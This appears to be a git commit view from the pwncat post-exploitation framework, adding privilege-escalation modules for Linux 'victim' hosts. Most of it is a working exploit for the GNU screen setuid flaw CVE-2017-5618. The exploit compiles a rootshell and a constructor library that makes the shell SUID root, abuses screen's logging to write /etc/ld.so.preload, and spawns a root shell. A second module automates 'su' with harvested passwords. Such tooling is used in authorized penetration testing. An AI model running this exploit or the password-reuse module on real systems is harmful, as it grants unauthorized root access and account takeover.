||||
super(ScreenTechnique, self).__init__(Capability.SHELL, "root", module)
|
||||
|
||||
self.screen = screen
|
||||
|
||||
def exec(self, binary: str):
|
||||
""" Run a binary as another user """
|
||||
|
||||
# Write the rootshell source code
|
||||
rootshell_source = textwrap.dedent(
|
||||
f"""
|
||||
#include <stdio.h>
|
||||
int main(void){{
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
seteuid(0);
|
||||
setegid(0);
|
||||
execvp("{binary}", NULL, NULL);
|
||||
}}
|
||||
"""
|
||||
).lstrip()
|
||||
|
||||
# Compile the rootshell binary
|
||||
try:
|
||||
rootshell = pwncat.victim.compile([StringIO(rootshell_source)])
|
||||
except pwncat.util.CompilationError as exc:
|
||||
raise EscalateError(f"compilation failed: {exc}")
|
||||
|
||||
rootshell_tamper = pwncat.victim.tamper.created_file(rootshell)
|
||||
|
||||
# Write the library
|
||||
libhack_source = textwrap.dedent(
|
||||
f"""
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
__attribute__ ((__constructor__))
|
||||
void dropshell(void){{
|
||||
chown("{rootshell}", 0, 0);
|
||||
chmod("{rootshell}", 04755);
|
||||
unlink("/etc/ld.so.preload");
|
||||
}}
|
||||
"""
|
||||
).lstrip()
|
||||
|
||||
# Compile libhack
|
||||
try:
|
||||
libhack_so = pwncat.victim.compile(
|
||||
[StringIO(libhack_source)],
|
||||
cflags=["-fPIC", "-shared"],
|
||||
ldflags=["-ldl"],
|
||||
)
|
||||
except pwncat.util.CompilationError:
|
||||
pwncat.victim.tamper.remove(rootshell_tamper)
|
||||
raise EscalateError("compilation failed: {exc}")
|
||||
|
||||
# Switch to /etc but save our previous directory so we can return to it
|
||||
old_cwd = pwncat.victim.chdir("/etc")
|
||||
|
||||
# Run screen with our library, saving the umask before changing it
|
||||
start_umask = pwncat.victim.run("umask").decode("utf-8").strip()
|
||||
pwncat.victim.run("umask 000")
|
||||
|
||||
# Run screen, loading our library and causing our rootshell to be SUID
|
||||
pwncat.victim.run(
|
||||
f'{self.screen.path} -D -m -L ld.so.preload echo -ne "{libhack_so}"'
|
||||
)
|
||||
|
||||
# Trigger the exploit
|
||||
pwncat.victim.run(f"{self.screen.path} -ls")
|
||||
|
||||
# We no longer need the shared object
|
||||
pwncat.victim.env(["rm", "-f", libhack_so])
|
||||
|
||||
# Reset umask to the saved value
|
||||
pwncat.victim.run(f"umask {start_umask}")
|
||||
|
||||
# Check if the file is owned by root
|
||||
file_owner = pwncat.victim.run(f"stat -c%u {rootshell}").strip()
|
||||
if file_owner != b"0":
|
||||
|
||||
# Hop back to the original directory
|
||||
pwncat.victim.chdir(old_cwd)
|
||||
|
||||
# Ensure the files are removed
|
||||
pwncat.victim.tamper.remove(rootshell_tamper)
|
||||
|
||||
raise EscalateError("failed to create root shell")
|
||||
|
||||
# Hop back to the original directory
|
||||
pwncat.victim.chdir(old_cwd)
|
||||
|
||||
# Start the root shell!
|
||||
pwncat.victim.run(rootshell, wait=False)
|
||||
|
||||
return "exit"
|
||||
|
||||
|
||||
class Module(EscalateModule):
|
||||
"""
|
||||
Utilize binaries marked SETUID to escalate to a different user.
|
||||
This module uses the GTFOBins library to generically locate
|
||||
payloads for binaries with excessive permissions.
|
||||
"""
|
||||
|
||||
PLATFORM = pwncat.platform.Platform.LINUX
|
||||
|
||||
def enumerate(self):
|
||||
""" Enumerate SUID binaries """
|
||||
|
||||
for fact in pwncat.modules.run(
|
||||
"enumerate.gather",
|
||||
progress=self.progress,
|
||||
types=["software.screen.version"],
|
||||
):
|
||||
if fact.data.vulnerable and fact.data.perms & 0o4000:
|
||||
|
||||
# Carve out the version of screen
|
||||
version_output = (
|
||||
pwncat.victim.run(f"{fact.data.path} -v").decode("utf-8").strip()
|
||||
)
|
||||
match = re.search(r"(\d+\.\d+\.\d+)", version_output)
|
||||
if not match:
|
||||
continue
|
||||
|
||||
# We know the version of screen, check if it is vulnerable...
|
||||
version_triplet = [int(x) for x in match.group().split(".")]
|
||||
|
||||
if version_triplet[0] > 4:
|
||||
continue
|
||||
|
||||
if version_triplet[0] == 4 and version_triplet[1] > 5:
|
||||
continue
|
||||
|
||||
if (
|
||||
version_triplet[0] == 4
|
||||
and version_triplet[1] == 5
|
||||
and version_triplet[2] >= 1
|
||||
):
|
||||
continue
|
||||
|
||||
yield ScreenTechnique(self, fact.data)
|
||||
|
||||
def human_name(self, tech: ScreenTechnique):
|
||||
return f"[cyan]{tech.screen.path}[/cyan] (setuid [red]CVE-2017-5618[/red])"
|
@ -7,6 +7,7 @@ from pwncat.modules.escalate import (
|
||||
EscalateModule,
|
||||
EscalateError,
|
||||
GTFOTechnique,
|
||||
Technique,
|
||||
euid_fix,
|
||||
)
|
||||
|
||||
|
71
pwncat/modules/escalate/su.py
Normal file
71
pwncat/modules/escalate/su.py
Normal file
@ -0,0 +1,71 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import pwncat
|
||||
from pwncat.gtfobins import BinaryNotFound, Capability, Stream
|
||||
from pwncat.modules import Status
|
||||
from pwncat.modules.escalate import EscalateError, EscalateModule, Technique, euid_fix
|
||||
from pwncat.util import Access
|
||||
|
||||
|
||||
class SuTechnique(Technique):
|
||||
""" Execute `su` with the given password """
|
||||
|
||||
def __init__(self, module: EscalateModule, user: str, password: str):
|
||||
super(SuTechnique, self).__init__(Capability.SHELL, user, module)
|
||||
|
||||
self.password = password
|
||||
|
||||
def exec(self, binary: str):
|
||||
|
||||
current_user = pwncat.victim.current_user
|
||||
|
||||
password = self.password.encode("utf-8")
|
||||
|
||||
if current_user.name != "root":
|
||||
# Send the su command, and check if it succeeds
|
||||
pwncat.victim.run(
|
||||
f'su {self.user} -c "echo good"', wait=False,
|
||||
)
|
||||
|
||||
pwncat.victim.recvuntil(": ")
|
||||
pwncat.victim.client.send(password + b"\n")
|
||||
|
||||
# Read the response (either "Authentication failed" or "good")
|
||||
result = pwncat.victim.recvuntil("\n")
|
||||
# Probably, the password wasn't echoed. But check all variations.
|
||||
if password in result or result == b"\r\n" or result == b"\n":
|
||||
result = pwncat.victim.recvuntil("\n")
|
||||
|
||||
if b"failure" in result.lower() or b"good" not in result.lower():
|
||||
raise EscalateError(f"{self.user}: invalid password")
|
||||
|
||||
pwncat.victim.process(f"su {self.user}", delim=False)
|
||||
|
||||
if current_user.name != "root":
|
||||
pwncat.victim.recvuntil(": ")
|
||||
pwncat.victim.client.sendall(password + b"\n")
|
||||
pwncat.victim.flush_output()
|
||||
|
||||
return "exit"
|
||||
|
||||
|
||||
class Module(EscalateModule):
|
||||
"""
|
||||
Utilize known passwords to execute commands as other users.
|
||||
"""
|
||||
|
||||
PLATFORM = pwncat.platform.Platform.LINUX
|
||||
|
||||
def enumerate(self):
|
||||
""" Enumerate SUID binaries """
|
||||
|
||||
current_user = pwncat.victim.whoami()
|
||||
|
||||
for user, info in pwncat.victim.users.items():
|
||||
if user == current_user:
|
||||
continue
|
||||
if info.password is not None or current_user == "root":
|
||||
yield SuTechnique(self, user, info.password)
|
||||
|
||||
def human_name(self, tech: "Technique"):
|
||||
return "[red]known password[/red]"
|
@ -22,7 +22,9 @@ class Module(EscalateModule):
|
||||
def enumerate(self):
|
||||
""" Enumerate SUDO permissions """
|
||||
rules = []
|
||||
for fact in pwncat.modules.run("enumerate.sudoers", progress=self.progress):
|
||||
for fact in pwncat.modules.run(
|
||||
"enumerate.software.sudo.rules", progress=self.progress
|
||||
):
|
||||
|
||||
# Doesn't appear to be a user specification
|
||||
if not fact.data.matched:
|
||||
|
@ -7,7 +7,7 @@ from typing import List
|
||||
|
||||
import pwncat
|
||||
from pwncat.gtfobins import Capability
|
||||
from pwncat.privesc import Technique, BaseMethod, PrivescError
|
||||
from pwncat.privesc import BaseMethod, PrivescError, Technique
|
||||
from pwncat.util import CompilationError
|
||||
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user